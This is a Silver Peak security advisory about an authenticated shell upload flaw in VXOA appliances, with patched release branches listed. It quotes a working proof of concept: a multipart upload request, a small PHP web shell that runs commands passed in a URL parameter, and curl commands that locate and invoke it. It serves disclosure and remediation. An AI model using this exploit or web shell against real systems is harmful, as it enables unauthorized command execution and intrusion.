Silver Peak Security Advisory

Shell Upload Vulnerability, Published by seclists.org on 09/09/2015

Summary:

Seclists.org advisory for the Shell Upload vulnerability is dated 09/09/2015. The advisory is about how a user with monitor or administrative access to the web interface of the VX web server could upload a PHP shell to execute arbitrary commands as the web server user, “apache”.

Silver Peak VXOA appliances are susceptible to this vulnerability, and the patch for resolving this is detailed under the heading, Resolution.

Details:

Seclists.org provides information on the advisory and is located at:
http://seclists.org/fulldisclosure/2015/Sep/34

The full advisory at seclists.org lists multiple vulnerabilities, each of which is addressed by a separate Silver Peak security advisory. This Silver Peak advisory addresses the Shell Upload vulnerability, which reads as follows:

```
==Shell Upload==
A user with monitor or administrative access to the web interface of the
VX web server may upload a PHP shell in order to execute arbitrary
commands as the web server user "apache".  A POST request containing the
PHP shell is made to the "configdb_file.php" endpoint. This uploads the
shell to a directory with a randomly generated name corresponding to the
user's SOAP interface session. This random value may be obtained from
"home.php", and the uploaded shell accessed within that directory.  The
following PoC details uploading the shell, obtaining the SOAP directory
name, and using the shell.
[Shell upload PoC]
POST /6.2.5.0_52054/php/configdb_file.php?seenform=1 HTTP/1.1
Host: [HOST]
Cookie: PHPSESSID=[VALID];
Content-Type: multipart/form-data;
boundary=---------------------------189328703119334528248519922O7
Content-Length: 301

---------------------------189328703119334528248519922O7
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/html
```

```
<?php
$cmd = $_GET["cmd"];
$output = shell_exec($cmd);
echo "$output";
?>
-----------------------------189328703119334528248519922O7
#End of request

$curl -sk -b 'PHPSESSID=[VALID]'
"https://[HOST]/6.2.5.0_52054/php/home.php"; | grep "flowFile"
  var flowFile =
"/opt/tms/lib/web/content/webui/php/temp/soap/wcupfu36lkvkyutxc2h1swnxsnz8rsf
fijnhod9zmwr270oreuoatajxcfq71sf/";


$curl -sk
"https://[HOST]/6.2.5.0_52054/php/temp/soap/wcupfu36lkvkyutxc2h1swnxsnz8rsffi
jnhod9zmwr270oreuoatajxcfq71sf/shell.php?cmd=id";
  uid=48(apache) gid=48(apache) groups=48(apache)
```

Recommended Action for Silver Peak Customers:

Silver Peak VXOA appliances:
Silver Peak VXOA appliances are affected by this vulnerability. To mitigate risk, Silver Peak recommends upgrading VXOA appliances to the releases listed in Resolution.

Resolution:

Silver Peak Issue Id 26465 tracks this vulnerability.

The resolution for this vulnerability is in each of the following release branches:

- **VXOA 6.2.11.0 and later releases**
- **VXOA 7.2.0 and later releases**